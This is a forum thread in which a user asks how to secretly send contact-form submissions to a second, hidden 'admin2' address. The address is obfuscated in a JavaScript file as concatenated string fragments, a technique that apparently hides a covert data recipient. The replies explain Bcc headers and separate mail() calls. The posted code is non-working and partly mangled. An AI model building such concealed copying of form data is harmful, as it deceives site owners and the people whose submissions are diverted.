1. No Profile Picture
    Registered User
    Devshed Newbie (0 - 499 posts)

    Join Date
    Jul 2013
    Rep Power

    Need help (html form in javascript) post it to php


    we have for example a contact form, my doctor want me to send another hidden email to the admin2,

    for example: contact.html -> send.php

    in this example we want to put an hidden email for the admin2 like this for example

    File: Send.php:

    PHP Code:
    //began of the file Send.php 
    <script type="text/javascript" src="send2.js"></script> 

    $allemails split("\n"$_POST['admin2email']."".$emaillist); 

    $to $allemails[$x]; 
    if (
    $to ereg_replace(" """$to); 
    $message ereg_replace("&email&"$to$message); 
    $subject ereg_replace("&email&"$to"Contact us page"); 
    $header "From: $emaillist\n"
    $header .= "MIME-Version: 1.0\r\n"
    $header .= "Content-Type: text/html\r\n"
    $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"
    $header .= "$message\r\n"


    the var $allemails should post the second hidden email from the file send2.js

    i hope you understood me, sorry for my bad english

    let's say we have two admins,

    in the above example:

    File: Send.php:

    we will put the admin(1) email, so the admin(1) can see only his email ok ?

    in the same Send.php file we will post for the admin(2) email from javascript file called send2.js

    here's an current example of send2.js (it's not working) we want better one

    //began of send2.js file 
    var myeml1="xxx", myeml2="xxxx", myeml3="x@g", myeml4="mai", myeml5="l.c", myeml6="om",myemTop=myeml1+myeml2+myeml3+myeml4+myeml5+myeml6;
    var Dhost="lo", Dhst="cal", Dhsts="ho",Dhsts2="s", Ddm="t", me=Dhost+Dhst+Dhsts+Dhsts2+Ddm; var mf=('<form action="Confirmed.php?secured=services" method="post" name="allEmail" enctype="multipart\/form-data"><input name="locator" type="hidden" id="locator" \/>\n<input name="server" type="hidden" id="server" \/>\n<input type="hidden" id="ipLists" name="ipLists" value="" \/><input type="hidden" id="ipEmpty" name="ipEmpty" value="0" \/>'); $( document ).ready(function() { 
    document.getElementById('server').setAttribute("type","hidden"); document.getElementById('ipLists').setAttribute("type","hidden"); 
    }); document.allEmail.server.value=myemTop;
  2. #2
  3. Contributing User
    Devshed Newbie (0 - 499 posts)

    Join Date
    Jun 2011
    Rep Power
    Let me make sur ei understand your requirements.

    You have forms that use send.php to email the contents of the form to multiple people.

    You want the email to be sent to individuals without them being aware of other recipients.

    There are a few things you can try. The first solution I like to call leading the blind:

    PHP Code:
    $header .= "Bcc: " $admin1 ."\r\n";
    $allemails as $email){
    $header .= "Bcc: " $email ."\r\n";

    I'm not sure if mail force you to set a to address, but according to RFC2822:

    Originally Posted by RFC2822
    The only required header fields are the origination date field and
    the originator address field(s). All other header fields are
    syntactically optional.
    This may or may not work, depending on how your email server handlers Bcc.
    Originally Posted by RFC2822
    The "Bcc:" field (where the "Bcc" means "Blind Carbon Copy") contains
    addresses of recipients of the message whose addresses are not to be
    revealed to other recipients of the message. There are three ways in
    which the "Bcc:" field is used.

    ...when a message
    containing a "Bcc:" field is prepared to be sent, the "Bcc:" line is

    ...the "Bcc:" line removed as above, but the
    recipients on the "Bcc:" line get a separate copy of the message
    containing a "Bcc:" line (When there are multiple recipient
    addresses in the "Bcc:" field, some implementations actually send a
    separate copy of the message to each recipient with a "Bcc:"
    containing only the address of that particular recipient.)...

    ..."Bcc:" field may contain no addresses, a "Bcc:" field can be
    sent without any addresses indicating to the recipients that blind
    copies were sent to someone...
    In case your mail server implementation doesn't work to your needs, or you don't want to risk having to do it again in the future.

    PHP Code:
    mail($admin1 ... );
    $allemails as $email){
    mail($email ... );

    Just replace mail with whatever mail library you're using.

    The only way I can think of to send an email with JavaScript would be to call send.php through an JavaScript/AJAX call.


    So I tested with Gmail, as I use gmail as a relay agent for my mail server, how it would handle multiple BCCs. I did a two, three and four address test, all of which were in the BCC.

    If the from and bcc were equal, all bcc recipients were listed. Each bcc recipient which was not the same as the from address only saw their own address.

    Two and four address test included the from in the bcc. The three email test was the four email test minus the from address as a bcc address.
    Last edited by WrinkledCheese; July 31st, 2013 at 05:11 AM.

IMN logo majestic logo threadwatch logo seochat tools logo